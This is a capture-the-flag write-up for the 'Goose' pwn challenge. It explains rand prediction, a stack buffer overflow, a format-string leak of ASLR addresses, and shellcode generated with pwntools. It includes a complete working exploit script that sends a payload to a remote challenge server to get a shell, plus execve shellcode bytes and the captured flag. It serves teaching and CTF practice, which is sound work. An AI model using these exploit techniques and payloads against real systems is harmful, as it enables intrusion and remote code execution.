Goose
Summary
This binary is a back-to-basics problem featuring the following:
- predicting
rand
- buffer overflow
- leaking ASLR via format strings
- shellcode
Unfortunately, I thought it revolved leaking libc
, and dove down a deep rabbit hole. Don’t forget to checksec like me.
I am getting better with gdb.attach
and using it to verify pieces of the attack. I also used pwntools
to generate shellcode using shellcraft
, something I’ve never done before. In the past I’ve always just copied it from elsewhere.
Predicting rand
To get futher in the binary, we need to correctly guess the number of honks.
Through reversing, we can see it’s running something like
1
srand(time(0))
Which means we can predict the number of honks by running it ourselves:
1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
srand(time(0));
int num = rand() % 91 + 10;
printf("%d\n", num);
return 0;
}
Buffer overflow
In highscore
, which is called when we successfully predict rand
, there is a buffer overflow at the end when it asks for the final message. We could use this to return to anywhere, but we have ASLR:
1
2
3
4
5
6
7
8
9
[*] '/home/ctf/ctf/2025-l3ak/goose/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No
Luckily, the stack is executable, which we can use to stage shellcode if we can leak a pointer.
Don’t be like me and immediately assume it’s a ret2libc
. Granted, they did give the Dockerfile, which I used to extract the libc.so.6
. I didn’t need it, but it was there.
The offset can be found in pwndbg
:
1
2
3
4
5
6
7
8
9
pwndbg ./chall
disass highscore
0x00000000000013bd <+256>: lea rax,[rbp-0x170]
0x00000000000013c4 <+263>: mov edx,0x400
0x00000000000013c9 <+268>: mov rsi,rax
0x00000000000013cc <+271>: mov edi,0x0
0x00000000000013d1 <+276>: mov eax,0x0
0x00000000000013d6 <+281>: call 0x1060 <read@plt>
Therefore, we have and offset of 0x178
and 0x400
bytes to work with for our shellcode.
Leaking ASLR
Within highscore
, the program asks for the user’s name a second time. It passes the name through sprintf
then prints the formatted string directly into printf
, causing a format string vulnerability.
We can use this to leak two key values: rbp
, a valid stack address, and the return address, which would shoot somewhere into main, allowing us to determine the base address of the whole binary.
With a lot of guess-and-check, I was able to determine that these values can be found with %52$p
and %53$p
.
Shellcode
pwntools
provides a way to generate shellcode for many architectures and for many attacks.
1
pwn shellcraft -l
In my case, I needed a standard x64 linux shell:
1
2
$ pwn shellcraft amd64.linux.sh
6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
from pwn import *
import subprocess
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.39.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
else:
r = remote("34.45.81.67", 16004)
return r
# nopsled just in case
nops = b"\x90" * 0x20
shellcode = bytes.fromhex("6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05")
def main():
r = conn()
# run local rand() as soon as we connect
proc = subprocess.run("./honk", shell=True, capture_output=True, text=True)
honks = int(proc.stdout)
# gdb.attach(r, "b highscore")
r.sendline(b"bob") # this input doesn't matter
r.sendline(f"{honks}".encode()) # win and go to highscore
# leak base address and stack address
r.sendline(b"%52$p.%53$p")
r.recvuntil(b"wow")
line = r.recvuntil(b"world?").strip().split()
addresses = line[0].split(b".")
stack_addr = int(addresses[0], 16)
main_addr = int(addresses[1], 16) - 143
exe.address = main_addr - exe.sym["main"]
offset = 0x170+8
payload = flat({
offset: [
stack_addr+16, # add 16 to hop around the return address and into nopsled
nops,
shellcode
]
})
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Flag
1
2
$ cat /flag.txt
L3AK{H0nk_m3_t0_th3_3nd_0f_l0v3}